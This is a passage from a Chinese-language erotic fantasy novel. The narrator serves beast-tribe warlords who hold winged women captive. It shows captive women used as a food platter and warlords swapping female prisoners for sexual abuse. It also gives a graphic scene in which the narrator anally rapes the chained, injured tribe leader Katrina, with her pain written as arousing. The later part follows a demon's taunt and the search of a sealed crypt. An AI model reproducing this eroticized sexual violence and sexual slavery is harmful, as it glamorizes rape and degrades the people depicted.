【阿里布達年代記】4[玄幻武侠]
◆ 第六章:淫人妻女
第二天清早,開會有結果的白瀾熊,與他的兩名結義兄弟一起回來了,事先還特別派人回來吩咐廚師,要好好弄一套特別料理來款待貴客。
招待貴客的方式,我大老早就已告訴過廚師,雖然說生切鮮魚、挑選出最嫩薄片的這種細刀工,熊族廚師並不擅長,但橫豎這裡溪多魚多,練習個幾日後,總算有點差強人意的成績。
從監禁的獸欄中選了一名羽族女戰士出來,沖洗乾淨,把翅膀綁好固定後,將切好的鮮魚、水果,平放在她的乳峰、小腹、兩腿,加以鮮花點綴,灑上蜂蜜,就是一座華麗的女體餐檯,專門用來招待那些醉翁之意不在酒的淫徒。
照理說,這樣的招待法應該很能令賓客們滿意,但是事與願違,一大早我就被熊人們叫醒,說白瀾熊在將營裡大發雷霆,要我立刻過去。
被那如雷熊吼叫醒時,我是一個人醒的。昨晚不知是第幾次性交結束後,那妮子勉強撐著疲憊的身體,冷冷地拒絕了我留她在床上過夜的「恩典」,寧願被鎖回箱子裡去。有人犯賤,我自然也不客氣,一腳踹著她白軟的屁股,攆下床鎖回銅箱,再扔了百多隻淫蟲進去。
匆匆趕去帥營,只見熊、虎、豹三族的首腦齊聚一堂,狂吞大嚼,已經把那座女體餐檯上的食物吃得一乾二淨。
白瀾熊、武茲,這兩人我是認識的,但豹族少主奇裡斯我就是首次見到。他運氣不壞,這次出征死了老子,只待回族之後舉行儀式,就是下一任的豹族族長,白瀾熊和武茲可就有得等了。
三個獸人都是體型壯碩的龐然巨物,這一下盤桌大吃,六隻毛色各異的獸臂齊揮,果然壯觀。而當我進入將營,三個埋首大吃的獸人一起?頭,從左而右,虎頭、熊頭、豹頭,真還以為自己是進了哪個獸頭展示獵館。
白瀾熊與我是不分尊卑,但是在他朋友面前,面子總是要做給他。我單膝跪地,竭誠惶恐地說了些「罪該萬死」、「不知身犯何過」的場面話,末了還加了幾句「少主乃南蠻強者、羑里硬漢」的馬屁,說完之後,那個熊頭就是一副如浴春風的笑咪咪表情,旁邊的兩頭畜生更是大力鼓起掌來。
「不二,這兩位都是我的好兄弟,我們是自己人,不用拘禮,就像平常那樣說話。」白瀾熊道:「我委託你設計特別筵席,你怎麼設計這種東西?我們三個人一起吃飯,那就是強者聚餐,要大塊吃肉、大碗喝酒,你應該介紹外頭的燒烤大餐給我才對,為什麼你讓我們吃這種東西,卻讓那群羽族小鬼連吃了兩天燒烤呢?」
「全是屬下的錯,我立刻掉轉過來,讓少主們改吃燒烤,那群小鬼吃美女壽司。」話一出口,看三頭畜生的表情,我自己都很懷疑自己說了什麼,忙道:「不過,我也是依照少主你那天的吩咐,所以才這樣設計的啊。」
「哦?我那天說了什麼嗎?我說我要招待三個一起玩到大的好兄弟啊。」
「一起玩到大是沒錯,但是那天你說的是炮友……」
「嗯,炮友有什麼問題嗎?」
「我想說……既然你們是一起打炮的朋友,要聚餐,那我就幫你們準備炮台囉。」
被我這樣一說,白瀾熊露出恍然大悟的表情,武茲、奇裡斯兩人更是止不住地捧腹大笑起來。
「我所謂炮友的意思,是一起玩提督的決斷,在遊戲中相互開炮的朋友。提督的決斷,這麼有名的戰棋遊戲你都沒聽過?金雀花聯邦國立軍校評定,每個人類男孩都應該要玩的東西……你你你,你在人類世界到底在幹什麼啊?」
天殺的,那款戰棋遊戲確實相當有名,育實戰兵法於遊戲中,讓學齡前幼童藉著下棋學習戰術,是近二十年來倍受推崇的遊戲。但評價再怎麼高也好,我又怎麼會想到南蠻三大獸族的首腦人物,會去玩這種人類的戰棋遊戲?
解釋過後,白瀾熊把我介紹給武茲和奇裡斯,並且把我大大誇獎了一番。
法雷爾家的家訓,一談起風花雪月,所有的男人都和公狗差不多。這句話在獸人世界顯然也通用。獸人中頭腦清晰的人才並不多,會調強力春藥、壯陽藥物的專才更少,武茲和奇裡斯都已經親身試用過,一聽說我就是那堆藥丸的調配者,臉上神情頓時不同,和我拍肩拉手,著實親熱。
而當廚師推走餐檯,我也預備告退,但卻被白瀾熊留下,參與他們的討論。
這三個傢夥秘密會面了三天,主要是在切磋獸王訣修為、下戰棋遊戲,卻沒有討論出什麼結果來,現下重新整理眼前局面,仍是混沌一片。
三天前雅蘭迦使用的獸魔,那頭叫做人面鳥的凶禽,竟然是當年羽族的獨有獸魔,但卻並非正道,而是鳳凰天女下過嚴令,禁止所有獸魔師練制的黑暗獸種,若是有誰敢違抗,鳳凰島就會飛行至其領地,誅其全族。
鳳凰島神秘失蹤後,這道禁令自然解除,不少獸魔師都想練制這被羽族封印的黑暗物種,看看有何威力?但相互交流後,沒有人知道該如何練制這種凶禽,所有相關知識都隨著鳳凰島而消失,卻是誰也想不到,會在多年後的此時,由蛇族手中重現這殘戾凶禽。
「人面鳥的威力確實不凡,力大爪尖,又含有劇毒,但如果不是我狀態不佳,發揮不出應有實力,我可以在百招內將它撕殺。」回憶起那日的戰敗恥辱,武茲猶自恨恨不平,虎爪重重在桌上留下裂痕。
「可是……像你這樣修為的好手,三大獸族中又有幾個?娜塔莎自己不出面,讓蛇族一個小鬼出來放人面鳥,這就是向我們示威。如果人面鳥真的這樣好練,而她們又練上幾十個,群鬥起來會很棘手。」
光憑這段話,我就知道奇裡斯是我所見過獸人中,思慮最周全的一個,豹族在他手裡,往後定然大展鴻圖。
「我讀過宗卷,人面鳥通體黑羽,可是根據你們那天所見,那頭人面鳥渾身長滿蛇鱗,該是蛇族進一步研究後,強化的新物種。但可以肯定,這是她們佔據史凱瓦歌樓城之後的事,不然之前早就用出來示威了。」
白瀾熊道:「你說得對,而這也就代表,蛇族已經掌握到樓城中的羽族秘寶了。」
說到這裡,三個獸人的表情都很難看。擔心的事終於發生,蛇族已經拿到了羽族的資源,正在樓城中練制強力獸魔,但三大獸族卻找不到應付的措施,真是想想也覺得喪氣。
奇裡斯道:「不過蛇族現在一定也很頭痛,抓不到霓虹姊妹交差,難以向光之神宮那邊交代,有得她們受了。」
聽這段話,我本來以為是獸人們顧忌光之神宮報復,所以想抓到霓虹姊妹後送回,但奇裡斯所說的秘密,卻讓我們都大吃一驚。
在戰役中,奇裡斯便有所懷疑,而當他接掌豹族大權後,這才得知,蛇族這次之所以能準確算出樓城位置,挑在樓城無法飛行的關鍵時間來襲,更輕易破除羽族的多道結界,全是因為背後有高人幫助,而經過調查,這人赫然來自光之神宮。
這位高人向蛇族提出的條件是,各種戰利品、羽族秘寶,通通不要,但是務必抓到霓虹姊妹,交由他親手調教,而且一定要生擒,決不能傷到她們美麗的肌膚,折損收藏價值。
白瀾熊道:「霓虹姊妹聽說是心燈居士門下,哪個光之神宮的這麼大膽,敢動她們的主意?」
奇裡斯笑道:「你們有所不知,心燈居士雖然是光之神宮掌門的師弟,但是離宮隱居已久,吟詩作畫,早就不屬權力中心。我看蛇族背後那人勢力很大,多半是目前的當權派,光之神宮招牌響亮,但是我聽說裡頭有些大和尚,專門修什麼歡喜禪,比我們獸人還貪淫好色,有什麼好東西了?」
武茲捶桌道:「霓虹姊妹是江湖十大美人之一,雖然沒親眼見到,但是聽蛇族那邊的說法,確實是細皮白肉的美人兒一對,可惜這趟居然給她們逃了,不然我們三族輪流上一遍,操大肚子,生下娃兒,往後幾十年各族都有十大美人可玩了。」
霓虹兩人的出身需要保密,本來在史凱瓦歌樓城危機解除後,她們姊妹就要重返外界,若被人知道她們是半獸人血統,多有不便,所以日前和諸獸族作戰時,並未露出背後雙翼,若是要在人前展開雙翼,就一定蒙面,所以獸人們也始終以為她們僅是和方青書同行,都是卡翠娜邀來助拳的幫手。
戰時見過她們姊妹的獸人著實不少,可是活下來的卻不多。之前的戰役,三大獸族的首腦並未親赴第一線,其餘正面交戰的族人,都給霓虹、方青書殺得差不多,而最後幾場大戰役,則是兵荒馬亂,沒時間找人,所以問起霓虹姊妹的長相,白瀾熊、武茲、奇裡斯三個都說美麗,但卻誰也沒親眼見過。
三人商量起來,都在扼腕為何會讓這麼重要的獵物走脫,我一面敷衍答話,心中實是納悶。自從我曉得鬼魅夕出現在南蠻,而三大獸族對那晚遭受襲擊的真相毫無所知之後,我便認定蛇族定有與黑龍會勾結,卻想不到這事幕後居然牽扯到光之神宮在內,複雜的程度,實在是超乎想像。
方青書拼了命地在戰場上作戰,但另一方面,卻又有人與蛇族私下勾結,慈航靜殿還真是山頭林立,暗流激烈……如果要與蛇族硬幹,就要先取得萬獸尊者的默許,否則誰也沒這膽子,但要做到這一點……
「不二,你那天誇口要調教的那個女奴,現在怎麼樣了?」白瀾熊道:「聽弟兄們說,你這幾天玩得有聲有色,待過人類世界的果然就是有一手啊,獻給尊者,若是他老人家高興,蛇族就要倒大楣了。」
我笑了笑,正想出言允諾,腦中卻忽然閃過昨晚羽虹在我身下恍惚失神後,那種迷惘而空洞的眼神,說出口的話就變成「還沒好,大概還要個幾天時間。」
白瀾熊催促了幾句,一掌拍在我肩上,古怪的笑容,好像看透了什麼。
「對了,白老大,有件事要與你商量。」
武茲提出要求,說抓到羽族族主已經好一段時間了,熊族手上的女俘虜,也該玩厭了,不如與虎族交換一下,大家嘗嘗鮮;奇裡斯隨即附議。
這提案立刻就通過了,包括卡翠娜在內,所有熊族的俘虜移交虎族,虎族移交豹族,豹族移交熊族,待十日之後再行交換。
三人親熱地擊掌拍肩,武茲、奇裡斯對我十分客氣,邀請我有空到他們陣地造訪,臨走前,還又向我討了一帖強精劑。
回到帳篷後,我打開箱子,把剛才聽到的事,告訴羽虹一遍,特別是光之神宮中有人指定要生擒她們姊妹的事。羽虹全然不理我,而且從那聲冷哼,我聽得出她壓根就不相信。
想起卡翠娜當初為了這小賤貨而犧牲,真是覺得不值,心中一動,便有了主意,我再次把她捆綁起來,眼睛蒙住,嘴巴也塞住,確認無法動彈後,鎖回箱中,找來熊人,以秘密任務為名,請他們把這個箱子送到監禁卡翠娜的帳篷裡。
我整理些東西,經過半刻鐘確認卡翠娜不會把我和那箱子產生聯想後,便朝那營帳出發。
卡翠娜自從那天被送進帳篷裡頭後,就沒有離開過,老實說,我並不太想去見她,但現在不去不行了,等到她下午被送到虎族去後,我要找她說話就很困難了。
帶著幾分猶豫,我掀開了帳幕,看到那個銅箱已經擺在帳篷一角。事前我已經做過要求,希望能獨奸羽族族主一個時辰,基於我現在說話的份量,熊人們很「善解人意」地答應了。
「卡翠娜,你還好嗎?」
這話真是多餘,仍然被綁在鋼架上的她,從那天晚上起,赤裸的身體就不曾得到遮掩,連續幾天摧殘,早已精疲力盡,怎麼好得起來?
卡翠娜的臉上,已經看不到平日的美艷英氣,只剩滿面的疲憊和憔悴。裸露著的胴體上,佈滿了滴滴汗珠和一塊塊青紫的淤痕,手腕與腳踝因為鋼圈束縛,出現了血印;豐滿的大腿上滿是抓痕和指印。
下身嬌嫩的花房,因為連日來瘋狂而無節制的姦淫,周圍穢跡斑斑,淒慘無比地張開著,還不時有濃濃粘液沿著大腿往下淌。如果不是早有心理準備,還以為看到某個貧民窟裡最廉價的娼妓。
我取來清水與毛巾,幫她擦拭身體,同時餵她喝了一些水。聽說,這幾天就連她進食的時候,後頭都有熊人在搞。獸人們也認為,她武功比一般羽族人要強,身體較壯,對她不用小心翼翼。
看來很虛弱的她,喝了一些水之後,回復了精神,露出了感謝的神情,向我問了幾句話。我很慶幸,因為即使處身在這種環境下,她仍然沒有失去理智,能夠冷靜地與我商量。
我首先提出,希望能知道,當初她委託我監看的那處秘窟裡,到底藏了什麼?畢竟我在一無所知的情形下,只能被動地依命行事,失去對整體情況的主控權。對此,卡翠娜仍然保持沈默,不願意將這個機密告訴外人。
第一件要談的東西觸礁,我們談起目前狀況。四大獸族間的矛盾,或許有可以利用的空隙,但要掌握機會,我們的實力並不足夠。除了卡翠娜,其餘幾個實力比較強的羽族女戰士,多半也被施放了蟲體,如果要把人弄出來,就先要找到破解蟲體的辦法。
「只有兩個辦法,擁有第六級以上的力量,以內勁透入經脈,震死蟲體,力道不能多不能少;再不然,就是找到解開蟲體的獸魔。」
蟲體的製造,源於獸魔術,同樣的道理,只要找到控制類型的獸魔,就可以把蟲體解掉。但這種問題可比拿解藥解毒困難,解藥只要設法偷來吃下就成,蟲體卻必須要脅迫獸魔使去解,有這等力量的獸魔使,我又憑什麼去脅迫他了?
「有一個地方,離此不遠,是當初羽族藏匿獸魔卵的秘窟。獸魔術只有獸族血統才能使用,但是你能練獸王拳,說不定也能使獸魔術。你去那個秘窟找一找,希望能有點幫助吧。」
聽到卡翠娜這樣說,我心中有些氣惱。這麼重要的事,為何數天前她不說?如果我早點知道,就早點有應對方法,可以試著動手,難道在這邊給熊人像狗一樣的幹,很享受嗎?
「那裡頭的獸魔,並非正道,有一些是屬於被聖女所下令封印的陰毒獸種,即使到了最後關頭,我也不想用……」
「唉,你不用,卻被蛇族拿去用,這樣有意義嗎?」
我把蛇族使用人面鳥一事,原原本本地告訴卡翠娜,她大驚失色,卻百分百肯定,帶有邪惡氣息的蛇族,決不可能通過那座秘窟的神聖封印,跟著又問我,有沒有聽到爆炸聲、看到紅色濃煙?在我否認後,疑惑地喃喃自語。
「沒可能的……機關沒有被破壞,她們不可能下去……那……怎麼會有人面鳥……」
很明顯地,卡翠娜是知道什麼的,但是當我追問起來,她又搖頭不說,讓處處碰壁的我火大到極點,當下就想做點事來發洩。
瞥向帳篷角落的銅箱,我知道羽虹正在側耳傾聽著這邊的一切,有心做點事來給這妮子聽聽。
「既然不想說,那就別說了。大姐兒,很不好意思,為了讓外頭的熊人安心,要冒犯你了。」
結束談話,我再次壓上了這具飽受摧殘的女性裸體。跟著,龜頭對正花瓣的開口部,感受著與那兩瓣肥厚肉唇的摩擦感,輕輕向前挺出。
「啊、你……輕些!疼啊!」以尺寸來說,我不及獸人甚多,但私處連受折磨的結果,在強烈衝擊下,卡翠娜額頭滲汗,臉色灰白,聲音幾乎顫抖起來。
「嗯……進去了……」
「請……請慢一點!」很顯然地,儘管極力忍耐,但最近性交太過頻繁的卡翠娜,仍是為此感到痛苦。而看到她這股難堪的痛楚,我大出胸口鬱悶之餘,卻忽然有一種衝動。
看看旁邊的箱子,想到羽虹正在裡頭傾聽,我沒有再多想,將這念頭付諸實施,將肉莖從蜜穴中退出,當卡翠娜為此徐徐吐氣,我將陰莖往上一送,直接地將挺進皺折的菊花門,開始在她屁股裡抽插起來。
「啊……那裡不是……噢!」
「大姐兒,我不想在弄痛你前面,所以只好讓你後頭辛苦一點了。」
菊穴被瞬間貫穿的疼痛,使卡翠娜嬌嫩的紅唇微微張開,伴隨著從喉嚨裡發出的嗚咽。
感到極大的滿足,我低下頭來,當看到身體連接的部份時,同時也瞥向旁邊的銅箱。聽著外面的這出肛交好戲,裡頭的羽虹或許是震驚,或許是恐懼,又或許是正在忍受如焚欲焰,雖然已經被綁死,箱子仍然有輕微的顫動。
「唔……好緊呀……」在我的心裡,充滿了愉悅,開始進行抽插運動。退出的時候,熱熱的嫩肉緊緊纏繞在陰莖上,實在是舒服的感覺。
「嗚……啊……呀呀……」每當陰莖深深插入時,卡翠娜的裸體就顫動一下,而那種規律的反應,令我感覺非常新鮮。
「好緊喔!爽透了……」做著活塞運動的時候,我在卡翠娜水嫩的裸背上親吻,右手抓住她那觸感極佳的乳房揉搓。同時還用自己的身體在曼妙的身上摩擦,想盡我可能地表達一些溫柔。
「啊……謝謝你……嗯……」聽著細微的呻吟,我更?起了卡翠娜的屁股,這麼一來,深入菊穴的陰莖便得以更加往內陷去。
「呀……小心一點……啊啊……」卡翠娜在我由下往上的強勁撞擊下,結實多肉的美臀隨著上下顛動。形狀姣好的乳房,更是激烈地四下亂晃。
我們結合的部位,進行著淫穢的抽插運動,肥厚豐臀受到壓擠、推展,像是兩團肉球一樣撞著我的大腿。
「要射了……噢……啊……」喘息聲越來越重的我,摟緊卡翠娜的柔軟裸體,把陰莖深深插入到根部,抱起屁股搖動,讓肉柱享受到無比的摩擦快感。
「噢噢……呀……噢……」到了最後,我終於依依不捨地把精液噴射到卡翠娜脆弱的的腸道裡。
「啊啊……」給熱燙精液一澆,卡翠娜的呻吟轉為高亢,繃緊的菊穴,也牢牢夾著我正射精的陰莖,一縮一放,令得我說不出的快活。
「老實說,你會恨我嗎?在理論之外……」雲消雨散,幫卡翠娜擦洗乾淨,我順口問了這麼一個問題。我並不在意問題的答案是什麼,卻仍是把這問題問了出口。
「這不是一個可以任由女人選好男人的和平時代,隨遇而安,選擇所能選擇的,是活下去不得不做的事。」回答得很理智,我越來越明白,為何卡翠娜雖然沒什麼才幹,卻能當上羽族族主,並且支撐如此之久。
「其實……我曾經另外邀來強援,如果她帶著那東西到了……為什麼她沒了消息?難道……」離開前,卡翠娜很迷惘地自言自語著,我明白她說的是龍女姊姊,心頭也有著同樣的疑惑。然而,她最後卻是向我說了一句出乎意料的話。
「孩子,你要小心茅老師……」
這句話沒頭沒腦,我方要再問,一群虎人們已經衝了進來,解鎖鏈?人,我只能看著人去架空的帳篷,請外頭熊人幫我扛箱子回去。
交換俘虜的行動已經開始,外頭吵成一片,到處都是被捆著鎖鏈,像奴隸般被牽著鎖銬走的羽族女戰士。落在豹族手裡的待遇,顯然比熊族更糟,從那邊被換過來的,一個個神情萎靡,身上處處淤青。
我獨自踱到樹林裡,取出當日龍女姊姊交給我的手環信物,開始想著一些問題,給自己安靜地思索空間。
卡翠娜的疑問,同時也是我的困惑。史凱瓦歌樓城淪陷一事,龍女姊姊如果在南蠻,應該已經知道了。她到現在仍未現身,莫非真的已經回轉東海了?
這不是不可能。因為東海上的戰情不斷,身為統帥的她,莫名其妙地跑到南蠻來,本來就是一件很離譜的事。倘使那邊的戰況忽然變得緊急,她來不及知會我們,便趕了回去,這也是合情合理。但是怪異的感覺始終是存在……
至於大叔,卡翠娜的吩咐說得太遲,不管他有什麼古怪的地方,一個身中多刀,早就翹辮子的死人,是不值得小心地。
想著想著,忽然有個人出現在旁邊,無聲無息,而且一來就往我大腿上坐下,手也順勢勾著我脖子,斜躺著望向我,一雙妙目眨呀眨的,像是頑皮,又像是誘惑輕佻。
「你好像越來越淫蕩了,這次連招呼都不打,直接就坐到男人腿上來了。」
「淫蕩是惡魔的美德啊,反正是每次都要做的事,何必要說一會兒話之後才作呢?我喜歡這個位置啊。」
這一次,菲妮克絲穿著背心熱褲,繃得緊緊的內衣,幾乎罩不住兩顆F罩杯的豐乳,一襲熱褲更是把美腿曲線展露無遺。在讓人暗吞饞沫之餘,也相當令人好奇,她到底花了多少置裝費,才能每次出來都像是衣著展示一樣。
「怎麼樣?調教算是完成了吧?把羽二姑娘的肉體慾望開發,變成一頭依照原始獸慾而行的美女狗兒,這樣算不算完成哥哥你的願望了呢?」
「你少套我的話。這是你自願協助,主動倒貼的,我可沒有向你許什麼願望,別隨便算帳在我頭上。」
「別這樣嘛~你可憐可憐人家好嗎?最近的業績很差,就當作是許了一個願,一個小小的願望就好。」
菲妮克絲軟聲哀求的可憐模樣,是男人大概很難不心動,無奈我動則動矣,但卻太瞭解她的惡魔本質,不會拿這攸關性命的願望來開玩笑。
「真是無情呢……你們男人……」菲妮克絲嬌媚地說著,在我面頰上親了一記,「帥哥哥,這麼漂亮的一個小美人兒,好不容易到手了,你捨得嗎?」
「你這是什麼意思?」
「沒有。人家只是想要告訴你,萬獸尊者不但好色,而且還會用女性作為練功爐鼎,一般很少有人能撐過十天半個月的。唉,可惜了,這麼一個嬌滴滴的羽二姑娘,再沒幾天就只剩個皮包骨模樣了。」
我腦中浮現那種可布的樣子,心中突然一驚,連忙壓下那種不快感,冷冷道:「那和你我沒什麼關係,不過就是一個玩厭的小賤貨,被活活奸死也是活該,用得著在意嗎?」
菲妮克絲好像很滿意地笑了起來,鼓掌道:「好啊,說得漂亮,心狠手辣,大梟雄!不愧是與惡魔簽訂契約的邪惡男人呢……但是,人家有一個小問題,不知道你能不能替人家解答呢?」
「什麼問題?我看多半又是一個不安好心的陷阱吧。」
「沒有啦,只是一個很普通的常識問題,而且這次人家是很用力、很用力地在幫你著想喔。」
「少廢話,有什麼要說的就直說,我還要趁著那小賤人被送走前,多玩她兩次。」
「問題很簡單,你聽好了,俗話說……淫人妻女笑呵呵……」貼在我耳邊,菲妮克絲嬌嫩的嗓音,聽起來卻像是一條不安好心的毒蛇。
「……妻女人淫意若何?」
◆ 第七章:羽族秘窟
與菲妮克絲的談話,最後以讓人極為不愉快的形式結束。我不明白她最後說的那些話是什麼意思?雖然聽起來像是在諷刺我,但惡魔怎會做這種無聊事?
有沒有可能……她的話裡藏了什麼玄機呢?
我猜想不出,而且也不知道該往哪個方向去想。
回到自己帳篷後,我想起卡翠娜提起的那個秘窟,當下就決定前去一探究竟,看看能不能弄到點有用的東西。羽族不用的東西,也沒理由就封印起來不讓別人用啊。
羽虹是很好處理的,就讓她繼續在箱子裡關禁閉,根本不用擔心她跑得掉,而我自己等待入夜之後,這才悄悄離開,趕往那處秘窟。
秘窟位置距離熊人營地並不遠,兩三里路而已,但羑里處處是原始森林,樹木盤根錯節,老籐碧葉,有些洞窟入口稍微隱蔽一點,若不是事先知道,就算在入口走上十遍八遍也不會發現,也因為這樣,獸人們才始終堅信那兩千名逃脫的羽族女戰士仍藏匿附近,整日滿山遍野地搜索。
但當我到了那個山谷,用百鬼丸從老籐枯乾中開闢出一條道路來,進入其中後,我大概有點明白,為何卡翠娜對這所在這麼難以啟齒的緣故了。
這裡赫然是一大片已經荒廢的獸人墳場。數百座凹凸起伏的土丘上,雜草叢生,籐蔓彎延,腐朽的木頭七零八落地斜插在土裡,部分已經損壞的墓穴,還看得到白森森的獸人骨骸,映照冷月清輝,就是一陣吹得人汗毛直立的陰風。
羽族的這座封印秘窟,居然是坐落在一座墳場中,這事說來殊不光彩,無怪卡翠娜難以說出口,只怕羽族中人也沒幾個知道。
「咦?這裡……媽的!」我並沒有悠閒地欣賞風景,而是在大略看過整個墳場的情形後,近乎與時間賽跑般瘋狂找尋秘窟入口。
雖然已把獸王拳練到第四層,但在自我認知上,我仍將自己當成是一個魔導師而多過武者。畢竟當武者要硬碰硬與人肉搏,對於向來沒有多少榮譽精神的我來說,遠距離偷放冷箭總易過給人正面活活打死。
也許我只是一個三流的蹩腳魔導師,但已將淫術魔法書、血魘秘錄熟記於心的我,卻有著遠超我目前級數的魔導知識,那讓我不至於像個蠢蛋一樣,站在冥府開口而不自知。
這座墓場已經荒廢多年,各種跡象無不顯示它已許久未曾有人造訪,但是在這偌大的山谷中,我沒聽見半聲鳥鳴、蟲吟,彷彿與山谷外形成兩個世界。可是我又確實看到一堆毒蟲在荒塚屍骸間爬行……這就足以說明一切,這座山谷已經成為死靈盤據之地,生人勿近。
死靈隨著物種、生前狀態的不同,而有強弱之分,但通常都是非常棘手。再高明的僧侶,也不願意在能夠源源補充陰氣的墳場中,與死靈、殭屍對峙。畢竟要超渡一兩隻死靈容易,但是當一大群不具實體的死靈尖嘯而來,旁邊還有大批殭屍助陣,以寡擊眾就是一個會令人提前往生的好主意。
「在這裡!找到了……」在卡翠娜指點的兩棵白樺樹下,我找到了所謂的入口。那是一處空墓穴,挖開土後有著一塊厚石版,上頭沒有什麼特別東西,但隱約散發著的魔力波動,顯然已經被設下防禦結界。
「死女人,陷害我?」應該不是這樣的,因為只怕連卡翠娜自己都不曉得這秘窟會是如此情況,但我卻不能不怪她,因為大後方不住響起的泥土撥動聲,還有筆直往下降的氣溫,告訴我時間不多了。
沒可奈何,只有取出百鬼丸,憑著神兵鋒銳,再以金剛猿臂增力,硬是斬向那塊厚石板,希望能恃強破咒,不然只好回過頭來,硬闖一場九死一生的戰鬥。
以羽族對這座秘窟的重視程度,這應該就是個非常強力的封鎖結界,不是輕易能破解的,以我一開始的估計,起碼要有第七級,甚至是第八級以上的力量,才有可能在短時間內破開入口。
但是,或許是施術者死後咒語威力減弱,經過這麼多年,結界已經無法發揮作用,我用百鬼丸在封墓石板上連砍十餘記後,一陣紅光耀目,一道往不見底深處延伸而去的階梯,出現在我面前。
我毫不猶豫地衝了下去,在身影鑽入紅光庇護範圍的同時,後頭也響起了死靈瘋狂尖嘯聲……
慶喜自己逃過一劫,我拿出照明對象,半摸黑地沿著階梯走下去。
進入某個寶窟尋寶,似乎是當前各類外出歷險的少俠必備經驗。運氣好一點的,可能還是常常有的經驗。事實上,盜墓這個行業,始終在各國的富豪榜上佔有一席之地。
當然,能夠靠著挖掘古墳的本事致富,絕對不是隨便到打鐵鋪裡買幾把圓鍬、十字鎬,一腳踹倒墓碑,鐵器用力挖下去就能搞定的。一流的盜墓者,全都是當今大地上最傑出的破結界專家,擅長在各種防護結界中,察覺到墓穴的位置,並且破開層層禁制、機關的阻礙,取得墓中珍寶。
整個工作並不是在取到寶物之後就結束,相反地,最具難度的部分才剛剛開始。許多陵墓除了防護結界之外,還會在陪葬的珍寶上下毒或是詛咒,讓盜墓者費盡心思直入墓穴中心後,卻不得生離墓地,成了新的陪葬品。
這種情形以大魔導師或各國王族的陵墓最為常見,因此盜墓者除了破結界的本領之外,也必須精通各類機關土木、解毒、破詛咒的法門,才能夠自陵墓中凱旋而歸,向生者誇耀。
基於所需技能的專才,照理說應該是修習神聖魔法的僧侶,最適合兼差盜墓,因為施撤結界、破除詛咒、袪療劇毒,本來就是僧侶們的吃飯本領。可惜大和尚們舉頭有神靈,騷擾死者安眠這種事,干了之後自身大損修為,所以最後反而是讓修練黑暗魔法的巫師,在這一行裡脫穎而出。
長年棲身於墓地,與各種會動或不會動的屍體為伍,要找到目標陵墓所在,對這些巫師並不困難,而經常與死靈打交道的他們,對劇毒和詛咒也有一定的免疫力,因此便在盜墓業中幹得風風火火,我聽過的一流盜墓者中,多半是有名的巫師,有幾個甚至還是響噹噹的死靈學者。
不過這些傢夥也有怪癖,就是常常侵入墓穴後,對各類昂貴陪葬品不屑一顧,卻把裡頭的屍體全都運出去,以邪法將之練成聽己使喚的屍奴或亡靈戰士。
手裡拿著的火折,在黑暗中發著微弱的光,照不到兩尺前的空間,我不知道等一下會在階梯盡頭看到什麼,卻衷心希望不是大堆屍體,我此刻並沒有從死屍身上掠取金銀財寶的興致,更不希望那些傢夥爬起來向我說謝謝。
約莫走了一刻鐘左右,階梯到底了,接下來又是一段彎彎曲曲的信道,以方位和距離來算,我想我是來到了墓地的正下方。
緊跟著,前方景色豁然開朗,一個遼闊寬廣的水晶巖洞,在黑暗中綻放著瑰麗的彩光,數百根與人齊高的水晶柱上頭,紅、橙、黃、綠、藍、靛、紫,彷彿是仙境般的彩虹光華,在這巖洞裡忽而綻放,忽而消失,一切美麗得不像是真實世界。
被這幅美景所迷惑,我著實呆了一段時間,直到看見自己在一根水晶柱前的倒影,這才清醒過來。
?頭往上看,黑壓壓的一片,是相當堅硬的巖盤,並非水晶。此處既然不是水晶礦脈,又是從哪裡來的這麼一堆無瑕晶石,把這裡變成如此一個仙境世界?
如果不是自然形成,就是人為佈置了,而我亦很快找到支持這想法的證據。
在每一根石筍形狀的水晶柱上頭,都有八九顆大小不一的物體插在其中,有的像拳頭般大,有的卻有頭顱般大小,外型也有很大差別,或圓或方,有的漆黑似墨、有的雪白如絲,還有一些蓋滿斑斕花紋,在水晶虹光映照下,閃閃生輝。
卻只有一個地方,是這些物體的共通點,那就是上頭寫滿了我看不懂的紅色文字,但是卻可以推想得出來,定是獸魔術的符文,這些物體就是各式各樣的獸魔卵,只要舉行獸魔術儀式,與內裡獸魔締結契約,就可以使役驅策。
無論是哪一系的術法,都有些共通的物理準則。像水晶這一類的透明晶石,本身有吸聚週遭遊離能量,加以儲存的功能,將獸魔卵置於其中,與大地氣脈連結,就可以保得獸魔卵不致枯萎干死。
練制獸魔的方式有兩種。屠殺生物,以其屍首練制的獸魔,雖然有很強的凶戾煞氣,但是如果比起綜合能力與進步性,卻是遠遠及不上由卵中孵化的獸魔。這裡數百根水晶石柱,如果每一根上頭都有十個獸魔卵,整個洞窟裡怕不有幾千個未締結契約的獸魔,換言之,這個儲放獸魔胎卵的水晶洞窟,就是真正的羽族秘寶啊。
不管是哪個獸族,只要能得到這秘窟,一定就此打破南蠻的勢力平衡,如果落在蛇族手裡,那麼……
我在偏東的方向,發現十幾個隱隱繚繞黑煙的獸魔卵,想起卡翠娜說過,這些可能是當初被鳳凰聖女下令封印的邪惡獸種,說不定就是人面鳥。
可能是我多疑了,不過,我就不相信羽族把這座獸魔庫設在墳場之下,是單純的巧合。這些邪惡獸卵仍然有著生氣,除了吸攝大地精氣外,只怕也從上頭墳場吸收屍氣滋養吧?
本來就源生於黑暗的獸種,經過地火、屍氣的滋培,就會變成一等一厲害的強大邪物。傳說鳳凰天女能役使十二種不同獸魔,裡頭真的每一種都那麼光明正大嗎?
我只是奇怪一點,為什麼卡翠娜不來打開這洞窟?否則羽族等於掌握到了一座強大軍械庫,這次戰役的結果大有可能逆轉。
直到後來我才曉得,卡翠娜數年前成為族主,從一名瀕死長老口中得知此窟秘密後,曾經來過一次,進入這座獸魔卵庫,並且得到了她現下使用的火鳥獸魔,但當時羽族中除了她之外,餘人修為盡皆不足,勉強締結契約,只會被吸成乾屍,拿了獸魔卵也沒用,要是消息外洩,反而成為其餘獸族覬覦的目標,因此退了出去。
後來樓城在羑里各處飄移,沒機會來到這附近,直到最近這一次,卡翠娜估量族人中已經有不少好手,足以承受獸魔宿體的負擔,這才把樓城位置移來,想要開庫,卻怎知才到不久,就被獸人大軍團團圍住,根本沒機會到這秘窟來。
這些獸魔卵雖然寶貴,對於並非獸人之身的我卻完全無用,當下只能徒歎奈何。
「咦?那是什麼東西……」在數百根水晶柱的中央,有一根最大的水晶圓柱,外頭卻沒有附著任何獸魔卵,反而是在柱子內,像是封藏了什麼東西。
